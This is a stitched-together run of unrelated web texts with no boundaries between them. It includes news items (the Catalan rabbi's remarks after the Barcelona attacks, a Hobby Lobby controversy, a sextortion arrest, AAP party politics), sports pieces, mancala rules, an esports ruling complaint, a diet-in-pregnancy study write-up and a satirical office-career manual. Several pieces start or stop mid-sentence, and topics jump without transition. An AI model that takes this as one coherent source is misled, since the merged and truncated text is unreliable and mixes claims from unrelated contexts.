Commentando gli attacchi di Barcellona, il rabbino capo della Catalogna Meir Bar-Henha detto che la comunità del luogo è “spacciata”, in parte per la radicalizzazione dell’Islam, in parte a causa delle autorità che poco farebbero per contrastarla. Il suo colloquio con l'agenzia di stampa Jta è subito rimbalzata su diversi siti europei e israeliani, causando diverse reazioni e commenti negativi.
La Spagna un hub del terrore
Meir Bar-Hen ha di fatto invitato la comunità ebraica a tornare in Israele perché la Spagna, sostiene, sarebbe diventato “Un hub di terrore islamista per tutta l’Europa”, e già anni prima degli attacchi del 17 agosto, dove hanno perso la vita 14 persone e 130 sono rimaste ferite tra Barcellona e Cambrils.
Andarsene prima che sia troppo tardi
Per Bar-Hen “gli ebrei non saranno qui in modo permanente”, riferendosi alla Spagna e all’Europa. “Dico da tempo ai membri della mia congregazione: non pensate che staremo qui per sempre. E li incoraggio a tornare e comprare proprietà in Israele. Questo posto è perduto. Non rifate l’errore degli ebrei dell’Algeria, del Venezuela. Meglio andarsene via subito prima che sia troppo tardi”.
L'Europa è persa
“Ciò che ha evidenziato questo attacco”, ha continuato Bar-Hen, è “la presenza di una comunità musulmana radicalizzata. Una volta che queste persone vivono tra di noi, è davvero difficile liberarsene. Diventeranno sempre più forti. L’Europa è persa”.
Se avete correzioni, suggerimenti o commenti scrivete a dir@agi.it.
Se invece volete rivelare informazioni su questa o altre storie, potete scriverci su Italialeaks, piattaforma progettata per contattare la nostra redazione in modo completamente anonimo.Killeen, Texas - A Texas woman is facing some harsh criticism online after a Facebook post in which she complained about cotton decor at a Hobby Lobby store.
The woman, Daniell Rider, posted on Sept. 14 about items she apparently saw at one of the craft chain's locations. She called the decorative cotton stalks "wrong on so many levels" and noted that cotton was "gained at the expense of African-American slaves."
Rider, who is black, asked the store to remove the items.
Her post has since been shared over 20,000 times and attracted over 216,000 comments. Many have ridiculed her level of sensitivity, according to the New York Post.
"Slaves also picked tobacco, harvested rice and many other things," one user wrote, the Post said. "We can't just get rid of them. Well Lowe's sells chains and rope. You think they should get rid of that too?"
Rider did have her defenders, the Post noted.
"What do you expect from HL!!!? Never shop there!" one person wrote, the paper said.
Anything involving Hobby Lobby is likely to generate a strong response on the right and left. The company is known for its conservative politics and religious values.
But the overwhelming response to Rider's post was negative, The Kansas City Star said. Many viewed her as being overly sensitive to a plant used to make clothing that nearly everyone wears.
Former Republican vice presidential candidate Sarah Palin even shared a story on the post with the comment, "You need to see this."
Hobby Lobby didn't return a call from the Star seeking comment on the matter. It sells the cotton decorations on its website.
"This realistic floral arrangement is wrapped in brown paper with clusters of soft cotton buds on individual stems," the online description reads, according to the Star. "Place it in a vase or use it for crafting projects for a look which brings in the beauty of the great outdoors!"
Contact Kevin Tampone anytime: Email | Twitter | Google + | 315-454-2112Pastor Bobby Davis was loyal to his Miracle Faith World Outreach Church in Bridgeport, Connecticut, which he founded and where he’d served for 47 years. A certified marriage therapist, David had been married for 50. Last Sunday, he unburdened himself, telling his flock that he had committed infidelity. Shouting ensued, so loud that it could be heard outside the church. Then, Davis collapsed, never to wake up.
A congregation loudly confronted its long-time pastor about his alleged infidelity during a service — and in the midst of their yelling the pastor dropped dead.
That’s what happened Sunday at the Miracle Faith World Outreach Church, according to members of the congregation and police sources. Bishop Bobby Davis, pastor of the Harriet Street Church since its founding in 1967, was later pronounced dead at Bridgeport Hospital. “We were shouting, ‘We forgive you, we love you,’ but the stress of all of it — he had a heart attack,” Stovall said.
The medical examiner says the cause of death is “pending further review.” A police detective has been assigned to investigate.
(Image via Shutterstock)If that doesn't work, go here for more help.
Instructions
Your goal is to get more gems into your mancala (the cup on the right) than the computer can get into its mancala (on the left).
You get to start, then the computer takes its turn and so on.
1) You can only move gems on your side (which is the bottom row).
2) To move, you click on one of the cups in your row. This picks up all the pieces in that cup and moves them counter-clockwise, putting one gem in each cup. (You'll see!)
3) If the last gem of your move lands in your mancala, you get to go again.
4) If the last gem of your move lands in an empty cup on your side and there are gems in the computer's cup right across from it, then all the gems in both cups get put into your mancala.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Liverpool’s January transfer window target Alex Teixeira has claimed interest from Anfield was "somewhat windy" and "not concrete" - as he explained his big-money deal to go to China.
The Brazilian forward spoke to the website of Skakhtar Donetsk as he explained why he was joining Chinese side Jiangsu Suning.
The attacker agreed a deal for an Asian record fee of £38million.
The Reds had been interested in the player with chief exceutive Ina Ayre flying to Florida to meet Shakhtar officials to try to seal a deal.
But Liverpool’s bid of £24.5m was well away from the £38m valuation of Shakhtar and the sides were unable to bridge the gap.
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That was despite Texieira speaking to media in Florida expressisng his desire to move to Liverpool.
But Teixeira’s view on the interest from the Reds - and other clubs in Europe - now appears to have changed somewhat.
Texieira said: “Let’s put it like this: everyone always knew that I wanted to stay in Europe and move to the English Premier League club.
“But, unfortunately, all the proposals that came from them, were somewhat windy and did not contain anything concrete.
“Now I have received a serious offer from China. Of course, I’m moving there.
“At this stage, the Brazilian national team will move away from me a little further. But let’s see what happens in the future.”
One of Teixeira’s reasons to try to move to the Premier League was to further his international ambitions, as he has not yet won a full Brazilian cap.
At Jiangsu Suning he will be joining Ramires, who headed east from Chelsea for £20m.× Make your TwitLonger posts ad-free For just £1 a month, you can support TwitLonger directly and remove ads from your posts
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(RT plz) In response to ESL's comments
First if you haven't read my initial post (it is long):
http://www.twitlonger.com/show/n_1spoq08
Then ESLs response to "current" cases:
http://www.twitlonger.com/show/n_1spp3vi
The purpose of this message it to breakdown and explain ESLs response to my initial post.
***WARNING*** This post is going to have more opinions in it than I wish, but I do have more information and I can add to it so ill explain how I see what they are saying.
***WARNING***I will be using ESLs response in this discussion. When I do so it will look like this, ***....*** after such I will give my response. Easiest way to read this response would be to have ESLs response open at the same time to get the full context.
Okay so I'm not going to copy in from the first paragraph ill just explain. Vets starts off by introducing himself then saying that he is doing this for the community and if he gets in trouble so be it. We (pros) were informed that this response and the rulings were going through different offices, in ESL, to ensure they were protected before he responded on twitter. So no, he wont be getting in trouble for this tweet. He mentions wanting to be transparent and helping the community but I don't think he has the same idea as what it takes to be transparent. To me transparency involves updates on cases and explaining which way they are leaning so everyone is informed. IMO, transparency isn't being the one that gets to post it on twitter after everything is decided.
***When it came what to do on ESL side, we have to do what is within the rules, laws and contracts we uphold with R6 and players.***
I'm going to pull something from ESLs rulebook:
"This Rulebook outlines the rules that should at all times be followed when
participating in the Rainbow Six Pro League competition. Failure to adhere
to these rules may be penalized as outlined.
It should be remembered that it is always the League administration that has
the last word, and that decisions that are not specifically supported, or
detailed in this Rulebook, or even goes against this Rulebook may be taken in
extreme cases, to preserve fair play and sportsmanship."
This is what I call a "Legal protection" statement. This is what they use to protect themselves from being sued by organizations and teams when they make a ruling that doesn't completely fit their rulebook. At one point I did contact a lawyer when we were being punished after ESL(1) said we were cleared to try to allow us to play with our full roster and the lawyer said it would be near impossible to win because ESL is such a large company and this rule gives them way to much flexibility. The big winner for the toxic players is "SPORTSMANSHIP", they are within their rights to do whatever they want to these players because they were not being sportsmanlike. AT ALL TIMES, means that it doesn't matter they are in a match or in the community they can be held accountable.
***if it would have happened during an ESL event or lan it would have been an automatic DQ and suspension of play. We do not condone this type of behavior. But as it did not happen during an ESL event and outside of our control, this was what was decided. BUT WE RESERVE THE RIGHT TO MORE PUNISHMENT IF NEW EVIDENCE COMES TO LIGHT.***
If you remember the person I referenced who was racist in my first post that occurred during an ESL, so automatic DQ? (yea...ill believe it when I see it). So they reserve the right to do something if they continue to be toxic? So what he is saying here, IMO, is we can do something about it at this time but we just don't want to. It makes no sense why ESL would go against UBI in this way. Why protect these types of players but hurt other players who have never been toxic or racist? Why do they get the priority of your attention? IMO, it speaks to favoritism and lack of fairness.
POINT 2. about Onslaughts roster and what we were required to do for 3/5:
I would like to take this time to thank Vets for finally breaking down our Y1S3 roster and figuring out who could fill our team to receive an invite. Why was this not done on Feb 11th when we were invited and we stated our 3/5? Why did it take a month and a half for someone to do their job? If this was done in Feb we would have qualified just like every other new team. ESLs prior rulebook was vague and full of 'gray areas' and this is why we thought we were in the clear with Nineline. He had been on our roster since August and practiced and scrimed with us, the rule was the player must be an 'active participant' and he still is to this day active with our team. Funny side not is the comments on Zilchy and Gunhavok saying that they are on other pro teams so they don't count. The comment should read, didn't participate in 60% of games because they only play in 2 & 1 games respectively, I don't think they truly understood their previous rules, IMO.
THIS IS WHERE THINGS GET ODD:
***Per Direct support to Onslaught we were told they could not field 3/5 org members. As it was playday 2 the roster was full open for play.***
We never told anyone that we couldn't play with 3/5 for play day 2, Xclusive was warming up with us up to game time. He says here that playday 2 rosters were full open for play but they only changed their rules 2 hours before our match. (ill go over this more now)
***Which i was told sovsov would be playing if not Xlusive would be there.***
Now hes saying xclusive would be there? So we would be able to fill 3/5?
***As game started we noticed Neither sovsov Nor Xclusive were playing. The starting roster locks 30 mins before game which i gave ample time and reached out directly via skype and they played with what roster they could form. As a courtesy and in effort of fair play i allowed Nine to play the game in the place of the roster i was given as he was a org member that was invited.***
Okay so this is what happened. 2 1/2 hours before our match the post came out clearing Skys and Laxing and I was furious. I sent a message to Vets asking if someone hated us or if we did something to ESL because at this point we were the only team being punished (since they were still stalling on era). Vets agreed with me and told me that he would investigate our issue some more. 10 minutes later he messages me and tells me IF we have a replacement for Xclusive we can play full roster and they were going to change the rule from 2 games with 3/5 to just 1 game (This was more to protect era in the coming ruling than to help us IMO). I then contacted sov and he was out of town and needed to race back home to get back in time to play the match. I told Vets that if sov didn't make it back in time that Nineline would be playing our match first match, he told me this was completely fine but the stream graphic wasn't going to change to accommodate for whoever was going to play because production had already completed it. Not once didn't he mention a roster lock rule for us but why would he since he was the only telling us to switch our players. This is basically just an attempt to make it seem like ESL was accommodating us for Play Day 2 which they didn't with the exception of changing their rule book 2 hours before our match (which was mostly for era IMO). No ESL didn't lose our match, we did that ourselves. ESL did wait until the last minute to change their rulebook so we played with a roster that hadn't played together in 3 weeks.
***Teams will be upset with rulings from time to time, its just what happens, we look at all sides not just one. I believe by supportive evidence, showing transprancy and offering support in all maters things we can make the most fair and clean slate for competive R6S play. But in this matter we were more the accomedating by allowing them to play***
This is where the accusers belittle the people with a problem while stepping on them at the same time. There was no transparency from ESL the only one who reported problems with our roster was RangerGG and fair play would have been trying to find a way to support us after making a HUGE mistake all of February by not doing their jobs. Once again I don't believe they were accommodating in any way that was supportive, changing rules at the last minute doesn't help us. If the rule was 1 play day the whole time we could of had the option of practicing and scrimming with our full roster all preseason and just PUG game 1 and be ready for game 2...but this wasn't the case.
***Per the season invites- ERA's invite came from closed invites, per the selections of S3, playoffs and r6invite***
When eras roster was first brought to my attention I told the admins in hope of them saying "well they didn't play 3/5 so you can as well". Vets first said that they were fine because they had an invite from 6invitational, but minutes later came back to me and said his boss told him that they weren't invited from 6invitational but S3. He said they(era) were in violation of the 3/5 rule. He said ESL would either make them(era) replay PLAY DAY 1 or that they would be DQ'd and he told me he hoped that they would be DQ'd.
***which were Cont, ERA and gifu Per the roster that was invited they met the 3/5 rule***
This makes no sense. Why was Gifu invited from the invitational? They were an auto invite to the tournament and lost their first game. Why does that performance deserve an auto invite to Y2S1?
This move makes perfect sense for ESL to claim, and honestly was their best play. They can protect one of their best teams but just saying the invite came from somewhere else rather than punishing them. I was told multiple times that they were in violation and the stalling that took place on the ruling was because they were trying to decide eRas fate (replay or DQ). Using these invites so they can protect their teams. Why can they protect all their teams and help, especially when its their fault some teams are in trouble.
---CONCLUSION---
I honestly didn't expect a message from ESL after my first message, I just expected them to ignore me. After reading this response I truly wish they would have ignored me. This post is full of filler words and cheese (they say a lot without actually saying anything). Not once do they accept the mistake they made with us, or mention the inconsistent rulings. They constantly refer to transparency but we had to all sit and wait for days on their rulings with no truthful updates (I was told that era was going to be punished and they weren't).
Once again I am available for questions via twitter.
twitter.com/dalycanr6
I recently did an interview on this matter with {-}NN
https://www.youtube.com/watch?v=rFJtNYGNV3s
I will also be posting this on reddit. Thanks again for reading.
Reply · Report PostKim Jong Un orders Mount Baekdu field guidance. August. 01, 2014 07:03..
North Koreas First Chairman of the National Defense Commission a Kim Jong Un appears to be starting to run a tight ship by directly ordering officers of the North Korean army as well as the key officers in the Workers Party to go on a field guidance of Mount Baekdu.
The state-run Rodong Sinmun said on Thursday that all officers (party responsible workers) of the Workers Party have begun a field guidance of the historic revolutionary site of the Baekdu region. It reported that the launch meeting was held in Ryanggang-do on the previous day.
The moniker, party responsible workers, refers to key officials in the Workers Party, which are first deputy director of the Central party and above in addition to party secretaries of the provincial parties. Although ordinary officials and workers have gone on annual field guidance of historic revolutionary sites, this making of high-ranking party officials attend is unusual.
Before that, leaders of regiments and above of the North Korean army had gone on field guidance on March 23-April 1 of the Mount Baekdu region,
After eliminating his uncle by marriage Jang Sung Taek under the pretext of a supposed challenge to the Baekdu (Kims) bloodline, Kim has then made his military commanders and key officials of the Workers Party to go on field guidance to the Mount Baekdu region, which symbolizes the three-generation inheritance of power. This is interpreted as a bid to strengthen his inherited power and his one-person leadership of North Korea.Gut Check is a periodic look at health claims made by studies, newsmakers, or conventional wisdom. We ask: Should you believe this?
The claim
Children of women who ate little or no meat while pregnant are more likely to abuse alcohol, tobacco, and marijuana at age 15 than are children of mothers who did eat meat.
Tell me more
Researchers analyzed data from 5,109 women and their children in a long-running study in England called ALSPAC (the Avon Longitudinal Study of Parents and Children), which has gathered years of data on what women did while pregnant and their children’s health. The less meat the women ate while pregnant, the more their children’s risk of drinking, smoking, or using marijuana as 15-year olds, Dr. Joseph Hibbeln of the National Institute on Alcohol Abuse and Alcoholism of the National Institutes of Health and his colleagues reported on Wednesday in Alcoholism: Clinical and Experimental Research. (They were funded by the U.S. and U.K. governments and a charity, not meat producers.)
Roughly 10 percent of the 15-year-olds smoked at least weekly, drank enough to have behavioral problems, or used marijuana “moderately.” But teens of meatless moms were 75 percent more likely to have alcohol-related problems, 85 percent more likely to smoke, and 2.7 times as likely to use marijuana compared to teens of mothers who’d eaten meat while pregnant.
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The researchers suspected that any adverse effect of mom’s forgoing meat while pregnant involves vitamin B12, which is abundant in meat but not plants. They therefore dug deeper into their data, comparing two groups of women: those with a high-functioning form of the gene that brings B12 into both their cells and their fetus’s, and those without the high-functioning gene. In the latter, B12 doesn’t reach their cells or their fetus’s very well regardless of what they eat, so it shouldn’t matter if they got lots of B12 (in meat) or not.
Here’s what the researchers found: Among moms without high-functioning B12 genes, there was no difference in their teens’ risk of substance abuse whether they’d eaten meat while pregnant or not. The vegetarian mom/substance-abusing teen association held only among women with high-functioning B12 genes, in whom eating meat or not would affect how much B12 their cells and their fetus’s got. That seemed to strengthen the case for an association between a meatless, low-B12 pregnancy and children’s later substance abuse.
Really?
Of course, what mom eats while pregnant can affect the child’s health. B12 helps insulate neurons, including in the developing brain, which may be why too little seems to leave kids with impaired cognitive and social development. That might leave children with poorer impulse control and other deficits that can make them abuse drugs and alcohol. “I’m not surprised by the results,” said University of Oxford physiologist John Stein, who was not involved in the new study.
Other experts raised questions. While mostly well-regarded, ALSPAC has also produced head-scratching and possibly wrong findings, such as linking pregnant women’s acetaminophen use to their child’s behavior problems or moms’ eating fish and children being obese. With as much data as ALSPAC generates, statisticians worry that mining it all can produce spurious correlations, things that are linked only coincidentally and not in a meaningful way.
Another issue is that ALSPAC had pregnant women fill out questionnaires about their diet. It didn’t verify their reports or measure their B12 levels. That raises the possibility that women misremember what they ate while pregnant. “Self-reporting dietary intake and substance use/abuse can have errors,” said nutritionist Susan Levin of the Physicians Committee |
, U.S. ally Saudi Arabia has been bombing Yemen to minimal attention and virtually no protest. President Barack Obama just visited Ethiopia and Kenya — with barely any criticism of how those nations have carved up Somalia, perpetuating killing there.
It may be possible to honor the noblest possible intent in #BlackLivesMatter: That we should rush to aid those lives that are disregarded by many. Likewise for #AllLivesMatter: We should be universal and apply the principle of veneration of the value of life truly to all. Both impulses in their best form would argue to seriously scrutinize the U.S. government’s role as global rogue cop — a “cop” more dangerous than the most violent, racist police operating in the U.S. today.Even as AAP leaders claim the rift within the party has been bridged with Delhi CM Arvind Kejriwal meeting leaders Yogendra Yadav and Prashant Bhushan, and the party deciding to go national, reports are now emerging that this reconciliation might just be an attempt to hide a fresh offensive by the two leaders.
A report in Hindustan Times said that Yadav and Bhushan have reiterated their demands for greater transparency and autonomy to state units, better volunteer engagement, action for lapses and regularisation of party panels in the latest letter. In public however, they have denied writing such a letter.
The demand by Yadav and Bhushan has found supporters in the party and the party could be headed for a showdown at the national council meet on 28 March, which will be attended by around 300 members from across the country.
The report said that a new political row could erupt at the meeting since Yadav enjoys support of the volunteers from outside Delhi while Kejriwal is supported by most of the volunteers in Delhi, according to HT. Voting at the national council meet would really be an uneasy test of the support to Kejriwal and could threaten to break the recently made truce among the party leaders.
On 4 March, Yadav and Bhushan had been sacked from the PAC in a national executive meet, the party’s highest decision-making body. However, the removal was anything but smooth. Out of the 21 national executive members, only 11 had voted in favour of Yadav and Bhushan's ouster. Arvind Kejriwal was not present at the meeting while Mayank Gandhi abstained from voting.
In the third attempt in three days to sort out contentious issues between dissident leader Yadav and Kejriwal-led AAP, members from both the camps held a marathon meeting in south Delhi on Wednesday, reported PTI.
Prashant Bhushan, however, was not present at the meeting.
Apart from the issues related to the inner party democracy, transparency in the organisation, preparing an active list of volunteers at the earliest, identifying states the party will contest polls in and appropriate role of Yadav and his future in the party were also discussed.
While a decision was taken to prepare an active list of the party volunteers, Yadav’s camp insisted that the list should be out in a month while the Kejriwal camp said it would at least take three months to do so.
"It is going good so far. Several issues were discussed including the role of Yogendra Yadav in the party. Now that he is out of PAC, an appropriate responsibility would be given to him, but a final call would be taken only by the PAC," said a party source.
Yadav on Wednesday had also welcomed the party's decision for national expansion and had said that it will further strengthen the party.
"I am happy to know about this. I had strong faith that it (conflict) would finally end on a positive note. Initially, the churning had some poison, but I had immense faith that finally, it would conclude with 'amrit'," Yadav had told reporters on the sidelines of a farmers' event at Jantar Mantar, New Delhi.
(With inputs from PTI)
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Image caption The accused is said to have blackmailed women into stripping off on webcam
A man who is said to have blackmailed more than 350 women after convincing them to strip off in front of their webcams has been arrested in the US.
Prosecutors said Karen "Gary" Kazaryan, 27, had hacked into hundreds of Facebook, Skype and email accounts to obtain naked or semi-naked pictures.
It is alleged he threatened to post the nude images of victims publicly unless they removed their clothing on camera.
If convicted, he could receive a maximum jail sentence of 105 years.
A press statement from the US Department of Justice detailed the charges against Mr Kazaryan, of Glendale, California.
Mr Kazaryan is said to have gained unauthorised access to hundreds of women's accounts, changing their passwords to prevent them from getting access.
"Once he controlled the accounts, Kazaryan searched emails or other files for naked or semi-naked pictures of the victims, as well as other information, such as passwords and the names of their friends," the statement said.
"Using that information, Kazaryan posed online as women, sent instant messages to their friends, and persuaded the friends to remove their clothing so that he could view and take pictures of them."
Skype capture
US authorities said they had found about 3,000 pictures of nude or semi-nude women on Mr Kazaryan's computer.
Some of the images had been taken from online accounts, while others had been captured by Mr Kazaryan himself on Skype, they alleged.
"When the victims discovered that they were not speaking with their friends, Kazaryan often extorted them again, using the photos he had fraudulently obtained to again coerce the victims to remove their clothing on camera," the statement said.
The FBI said on some occasions Mr Kazaryan had gone through with his threat to publish the sensitive images.
He now faces 30 charges - 15 counts of computer intrusion, and 15 counts of aggravated identity theft.
The FBI described the alleged blackmail as "sextortion".
Shower trick
In recent years, hackers have concocted ever more devious ways to coerce victims, or to spy on them unawares.
Writing in the Naked Security blog, Sophos researcher Graham Cluley recounted prior incidents.
In 2011, a Southern Californian man was sentenced to six years in prison for hacking into more than 100 computers - often posing as targets' boyfriends in order to obtain pictures.
Luis Mijangos, 32, said: "To all the victims I want to say that I'm sorry. I'm ready to do the right thing and stay out of trouble."
In July last year, Trevor Harwell, 21, was given a year-long jail sentence for setting up a ruse in which he convinced women that they needed to "steam" their webcams in order to fix a fault.
The easiest way to do this, Mr Harwell's "error" message explained, was by setting up the webcam near a shower.You might assume that a new purse, painting or pair of shoes will bring happiness. Although you’d probably get a bigger kick out of attending a play or spending a week in Paris. But people still mostly opt for items over experiences—because the value of items is more easily quantifiable. That’s according to a study in The Journal of Positive Psychology. [Paulina Pchelin and Ryan T. Howell, The hidden cost of value-seeking: People do not accurately forecast the economic benefits of experiential purchases]
Researchers surveyed people before and after they made purchases. Beforehand, they rated life experiences as making them happier and as a better use of money than buying objects.
But subjects still tended to choose to buy objects over experiences. Then, despite picking items, most said they still believed the experiences would have been a better choice.
The researchers ascribe this conflict to the tangible and quantifiable nature of a thing. You can point to a car and say how much its worth. But taking that car on a cross-country trip is an experience, and experiences can’t easily be assigned a value.
Unless of course, you’re still paying off that week in Paris.
—Erika Beras
[The above text is a transcript of this podcast.]Chelsea came into this game on the back of a midweek victory at Atletico Madrid, probably the tactical performance of the season so far – they showed defensive discipline, midfield control and completely outwitted Diego Simeone’s usually-formidable Atletico.
The key was Antonio Conte’s use of 3-5-2, a modification upon the 3-4-3 that won Chelsea the league last season. This 3-5-2 allowed Eden Hazard to play centrally, and means Cesc Fabregas can be used in central midfield without Conte having to sacrifice one of his two disciplined defensive midfielders. Two big advantages.
But the 3-5-2 also has more of a weakness than the 3-4-3 – by increasing numbers in central positions, it means Chelsea have fewer men down the flanks. The wing-backs have to cover the flanks themselves – and it’s this weakness which Pep Guardiola exploited here, where City dominated from start to finish.
Embed from Getty Images
Space out wide
The natural approach to City exploiting Chelsea’s weakness out wide would be simple – pushing their full-backs, Kyle Walker and Fabian Delph, forward to combine with Leroy Sane and Raheem Sterling and overload Chelsea’s wing-backs, Marcos Alonso and Cesar Azpilicueta. But there are a few problems with this approach. First, it may then depend upon crossing – Gabriel Jesus isn’t the most natural target man, and he would be up against three Chelsea centre-backs who defend crosses excellently. Second, it would open up City to counter-attacks, and with the speed of Eden Hazard and Alvaro Morata on the break, running into channels as they did in Madrid, that could be dangerous. Third, and most pertinently, why put so much emphasis upon Walker and Delph to create chances, when you have two of the best creators in the league, Kevin De Bruyne and David Silva?
So that was Guardiola’s plan – the space was out wide, and De Bruyne and Silva, the central midfielders, were to exploit it.
Full-back roles
This unusual tactic depended upon other players performing very specific roles.
First, Sane and Sterling stayed high and wide, pushing back Alonso and Azpilicueta into a back five, and ensuring they couldn’t come forward to shut down anyone else down the flanks. Sane, Sterling and centre-forward Jesus were almost used like pawns in a game of chess – the most advanced players, but there to occupy their opponents to make room for the truly dangerous pieces behind.
Second, City couldn’t simply let Silva and De Bruyne wander, empty the midfield, and leave Fernandinho isolated against three players. Therefore, notional full-backs Walker and Delph pushed into central positions – the latter, of course, is a central midfielder anyway – to ensure City still had bodies centrally. This was the most obvious positional change, and it’s something Guardiola has done several times before, both with Bayern and City.
It was a very obvious change. This shows the positions of City’s full-back duo in the win over Shakhtar in midweek:
And here were the touches in this game. They went from overlapping down the touchlines, to drifting inside.
De Bruyne and Silva drift wide
But while the full-backs were the players used in the most unusual roles, they were not the key men. De Bruyne and Silva were.
De Bruyne spent the majority of the game drifting right, from where he delivers absolutely superb cross-cum-through-balls. He did that in the opening fixture between these sides last year – another fascinating tactical battle. Here, his touches took place more on the right flank than in the centre.
De Bruyne ran the game from this position. Chelsea didn’t know how to cope – first Fabregas started following him to that flank, but this increased the gaps in Chelsea’s midfield and allowed Silva space. Conte, as he did against Atletico, then swapped Fabregas and Tiemoue Bakayoko, realising that the defensive task against De Bruyne needed a more tactically aware player. But De Bruyne was still finding space, and was involved in City’s best play. Walker exchanged a good one-two with him, and found himself driving towards goal in a central position. Sterling combined with him for a dangerous counter-attack. He played another of his classic driven, arcing crosses. City, in truth, weren’t creating many chances. But they were completely outmanoeuvring Chelsea, and their most dangerous player was controlling the game.
Maybe the most interesting thing, though, was that Silva – who might have been expected to do the same thing on the opposite flank – increasingly drifted to the right as well, despite nominally playing as the left-centre midfielder. Silva has made a career out of drifting across to the opposite flank – as long ago as City’s historic 6-1 victory at Old Trafford this was City’s trump card – but it was still incredible to see Silva and De Bruyne, two central midfielders, both drifting to the same flank and combining so frequently. Silva was a central midfielder yet never touched the ball in a number 10 position, and was almost always involved towards the flanks.
Chelsea couldn’t really cope with City’s dynamic dominance of the midfield, although largely remained solid defensively.
Chelsea counter-attacks
City’s system was not without risks, however, and Chelsea’s main threat actually came from the wing-backs.
Because City attempted to press in very advanced positions – twice causing Thibaut Courtois problems with his kicking – this meant that Sane and Sterling had to shut down Chelsea’s centre-backs, leaving the wing-backs free. With Silva and De Bruyne returning to conventional midfield positions without possession, but City’s full-backs generally very narrow, Alonso and Azpilicueta could race forward unnmarked on the overlap.
There were several examples of them finding space on the far side, but teammates not quite locating them. Azpilicueta found space in the early stages on two occasions, and on the second occasion combined with Kante to create an early headed chance for Morata. It happened a little later, when Fabregas couldn’t quite find space for a diagonal ball to Azpilicueta. The same thing happened on the opposite flank, when Alonso wasn’t found, and then substitute Willian (on for the injured Morata in the first half, Conte summoning an extra midfielder rather than a striker) nearly threaded a ball through for Azpilicueta on the edge of the box. Chelsea did offer a threat. Even when 1-0 down, their best passage of play came when they switched play to Alonso, and then to Azpilicueta, whose cross was played straight to Ederson.
Conte can’t switch tactics successfully
Conte was clearly concerned by his side’s inability to engage with City in midfield.
After half-time, rather than sitting back and defending 5 v 3 and being dominated in midfield, Conte changed things. First, Chelsea spent longer in a 5-4-1 system, with Willian moving to the right. This meant City had less space down the flanks. Second, Chelsea tried to defend more aggressively. Whereas Azpilicueta and Alonso had previously tracked City’s wingers at the centre-backs had stayed at home, now there was more movement. In the first five minutes of the second half, Antonio Rudiger came forward to shut down Silva. Then Cahill came down to shut down De Bruyne. This hadn’t happened in the first half. Space was now opening up in the Chelsea defence, and now City were creating chances. The best example came on 64 minutes. Cahill came forward to close down De Bruyne again, which left a gaping hole in the Chelsea defence. Walker played a through-ball into that space between Alonso and Andreas Christensen, Sterling raced onto the ball, and played a cut-back to Silva. His shot was blocked.
Embed from Getty Images
And then came the winner, scored by De Bruyne, although it was slightly out of keeping with the tactical battle – because he found space centrally. Still, it showed him causing Chelsea problems with his movement, and dragging Cahill forward from the back, before bypassing him with a one-two with Jesus and firing home. De Bruyne was unquestionably the star here: first he put City in charge of the game, and then won the game, from two very different positions.
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I’ve written a book about the tactical development of the Premier League over its first 25 years. You can buy it here!
Related articles on Zonal Marking:This is a short manual for you, my friend. I assume you are sitting in the office right now, reading this blog post. Maybe you don’t like your office job, or maybe you enjoy it and feel excited to be close to your office friends. It doesn’t matter. What matters is that there is always an alternative to office slavery. I’m not talking about starting your own business. There are people in this world who work for someone without doing what is described below. They do exist, as well as companies that don’t turn their employees into slaves. I really hope you will eventually find one. In the meantime, this manual is for you :)
The Office (2001–2003)
Help Others. Find the stupidest newbies and help them. Regardless of what exactly you help them with, they should rely on you. Show them where the restroom is, recommend a good restaurant nearby, assist in an IDE installation, explain how the project works, and make standard jokes about the worst class in it. They must become your best friends—and not only them. Be helpful to everybody. No matter what is happening, everyone must know that you’re ready to help. Ideally, they all must depend on your kindness and readiness to save them from the chaos around.
Important people don’t write code; they attend meetings
Be the Last to Leave the Office. Nothing annoys a manager more than an employee who leaves the office at 5 p.m. sharp. It’s a sign of disrespect. Don’t you like it here? Is there anything in this life more important to you than this job? There shouldn’t be. Demonstrate that by staying late. Here is a simple trick: just come later. The boss won’t blame you for that. But always stay there after everybody else is gone. Ideally, you should leave right after the boss. Overtime is a clear sign of your loyalty to our mutual results.
Don’t Nag. No matter what is happening, you should never criticize your direct manager. The boss is always right. Everything else may be wrong—the situation, colleagues, suppliers, computers, the CEO, investors, the market, or the weather, but not the boss you directly report to. The word of this person is the law. The boss is the god. Ideally, you should be the prophet. No matter what the boss says, you deliver it to others. And you must look like you sincerely believe that it’s right.
Loyalty is what makes you a good slave; don’t forget it!
Attend All Meetings. No matter what they are about, you must be there. And don’t just be present; actively participate. It’s not so difficult, and very soon you will start to understand what they are talking about and will be able to say something, even if you had no idea about the subject beforehand. Eventually, everybody will start thinking they must ask your permission in order to make some decision, because you were at that meeting. Important people don’t write code; they attend meetings. Remember that.
Turn Down Recruiters, Publicly. Loyalty! That’s what matters to a real team. When a recruiter calls you, raise your voice and explain that you’re happy in this company and don’t want to move on, ever. The more people who hear you, the better. Also, you can sometimes tell stories about offers you’re getting and how you turn them down. Your boss should be the main audience for these stories. Why do you turn them down? Not because they are bad, but because your life belongs to this company. Loyalty is what makes you a good slave; don’t forget it!
When being employed, do you go to job interviews? #career — Yegor Bugayenko (@yegor256) November 11, 2018
Don’t Take Sides. It’s just too risky. In any argument, you can always find pros and cons for both sides, right? So why support one of them? You may be wrong and lose respect in front of everybody. Why take that chance? Instead, always say that there are drawbacks to both options. That’s what a wise man would say, anyway. There is no absolute truth in this world. That’s why you should always stay in the middle, where you will never be wrong. Well, until your boss takes one of the sides. That’s the right moment to agree and follow.
Never Ask for a Raise. It should be absolutely clear to everybody that you don’t work for money. You work for the big idea. Period.
Attend All Social Events. Birthdays, corporate parties, Halloween, Friday beers—you must be there, always. Don’t worry about wasting your life; you will like them eventually. It is very important to demonstrate that you truly live in the office. You are not just writing code, taking money, and going home to your family. Absolutely not! The office is your real family, and you truly enjoy eating pizza with your boss and listening to his childhood stories. That’s how you demonstrate your loyalty, which is the best quality of a good slave.
Point Fingers Privately. Don’t say anything bad about anyone in public. No matter who is doing what, we’re always a team; we’re together. Together! This should be your main keyword when talking about results, problems, and risks. Never blame anyone—publicly. However, when you’re talking in the kitchen with a few of your most trusted colleagues, let yourself go. Tell them who you think is the weakest part of the team and what you would do with him or her if you were the boss. Don’t restrict yourself, but always make sure there are only a few people who can hear you.
Added 8-Oct-2015:
